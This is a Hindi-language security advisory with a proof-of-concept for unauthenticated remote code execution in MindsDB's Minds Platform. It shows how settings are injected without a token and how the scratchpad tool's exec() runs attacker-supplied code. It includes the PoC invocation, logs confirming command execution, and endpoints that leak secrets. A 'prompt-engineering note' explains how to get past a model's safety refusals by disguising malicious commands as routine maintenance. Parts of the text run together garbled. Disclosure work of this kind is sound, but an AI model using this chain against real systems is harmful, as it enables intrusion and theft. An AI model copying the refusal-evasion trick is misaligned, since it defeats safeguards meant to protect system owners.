
CVE-2026-73678 — MindsDB Minds Platform में बिना प्रमाणीकरण के scratchpad exec के माध्यम से RCE (CVSS 10.0)। वास्तविक LLM के साथ एंड-टू-एंड सत्यापित।
CVSS 10.0 (गंभीर) · CWE-94 / CWE-306 · GHSA-jcxw-h8ph-pxpv · VulnCheck
Minds Platform (mindsdb/mindshub का ओपन-सोर्स बैकएंड, पहले mindsdb/minds-platform) POST /api/v1/responses/ को उजागर करता है (एक OpenAI-संगत Responses API, पोर्ट 26866) बिना किसी प्रमाणीकरण के। कोई प्रमाणीकरण मिडलवेयर नहीं है — न Bearer जाँच, न सत्र, कुछ नहीं। सर्वर केवल एक अनुज्ञापी CORS मिडलवेयर स्थापित करता है (allow_origins=["*"], allow_credentials=True)।
इसलिए, एक बिना प्रमाणीकरण वाला हमलावर निम्नलिखित कर सकता है:
अपना स्वयं का LLM कॉन्फ़िगरेशन इंजेक्ट कर सकता है PUT /api/v1/settings/{key} के माध्यम से (, , , , ) — कोई टोकन आवश्यक नहीं, सभी अनुरोध 200 लौटाते हैं।
openai_api_keyopenai_base_urlplanning_providercoding_provider*_modelएक क्राफ्टेड प्रॉम्प्ट भेज सकता है POST /api/v1/responses/ पर → ResponsesHandler.handle() → Anton ChatSession.turn_stream(input)।
(हमलावर-नियंत्रित) LLM अंतर्निहित scratchpad टूल के लिए एक फ़ंक्शन कॉल लौटाता है (action: "exec")। handle_scratchpad → prepare_scratchpad_exec → ScratchpadManager → LocalScratchpadRuntime → scratchpad_boot.py:
compiled = compile(code, "<scratchpad>", "exec")
exec(compiled, namespace) # arbitrary Python → arbitrary OS commands
चूँकि LLM एंडपॉइंट हमलावर-चुना हुआ (BYOK) होता है, हमलावर मॉडल से कोई भी scratchpad कोड लौटवा सकता है — मॉडल का सहयोग या दबाव आवश्यक नहीं है। एकमात्र पूर्व-शर्त एक कार्यशील OpenAI-संगत LLM API कुंजी है।
प्रभावित: ≤ v26.1.0 (कमजोर कोड 2026-06-08 को जोड़ा गया, "Fresh #12461")। पैच: कोई नहीं — GHSA कोई पैच किया गया संस्करण सूचीबद्ध नहीं करता; exec() main में बना हुआ है (केवल एक वैकल्पिक, डिफ़ॉल्ट रूप से बंद COWORK_REQUIRE_AUTH Bearer मिडलवेयर और org-mode स्कोप जाँच मौजूद हैं)।
python3 poc_cve-2026-73678.py \
--target http://TARGET:26866 \
--api-key sk-YOUR_OWN_KEY \
--base-url https://api.openai.com/v1 \
--model gpt-4o
PoC निम्न कार्य करता है:
PUT /api/v1/settings/* के माध्यम से हमलावर सेटिंग्स लिखता हैexec के माध्यम से uname -a + hostname चलाता है)cat /tmp/system_info.txt से पुष्टि करेंप्रॉम्प्ट-इंजीनियरिंग नोट: मजबूत सुरक्षा प्रशिक्षण वाले मॉडल स्पष्ट रूप से दुर्भावनापूर्ण कमांड (जैसे "pwn" युक्त फ़ाइलनाम) को अस्वीकार कर सकते हैं। अनुरोध को नियमित रखरखाव (सिस्टम डायग्नोस्टिक्स, स्वास्थ्य जाँच) के रूप में प्रस्तुत करें — scratchpad मॉडल द्वारा दिए गए किसी भी कोड को निष्पादित करता है।
वास्तविक LLM प्रदाता (OpenCode Zen, minimax-m3) के साथ cowork-server==0.26.6.26.1 के विरुद्ध वास्तविक एंड-टू-एंड श्रृंखला:
== [1] AUTH-FREE SETTINGS INJECTION ==
PUT /api/v1/settings/openai_api_key: HTTP 200
PUT /api/v1/settings/openai_base_url: HTTP 200
PUT /api/v1/settings/planning_provider: HTTP 200
PUT /api/v1/settings/coding_provider: HTTP 200
PUT /api/v1/settings/planning_model: HTTP 200
PUT /api/v1/settings/coding_model: HTTP 200
== [2] CRAFTED PROMPT -> POST /api/v1/responses/ ==
HTTP 200 (15.6s) — LLM called the scratchpad tool
== [3] COMMAND EXECUTION CONFIRMED ==
/tmp/system_info.txt inside the container:
Linux 95d5d7fa74f6 6.12.75+rpt-rpi-2712 ... aarch64 GNU/Linux
95d5d7fa74f6
किसी भी समय कोई टोकन नहीं भेजा गया। uname -a आउटपुट लक्ष्य कंटेनर के अंदर scratchpad exec द्वारा उत्पन्न किया गया — बिना प्रमाणीकरण के दूरस्थ हमलावर के रूप में मनमाना OS कमांड निष्पादन।
GET /api/v1/settings/reveal-key/{name} कॉन्फ़िगर किए गए रहस्यों को लीक करता है; POST /api/v1/settings/raw ~/.anton/.env लिखता है।mindsdb/mindshub)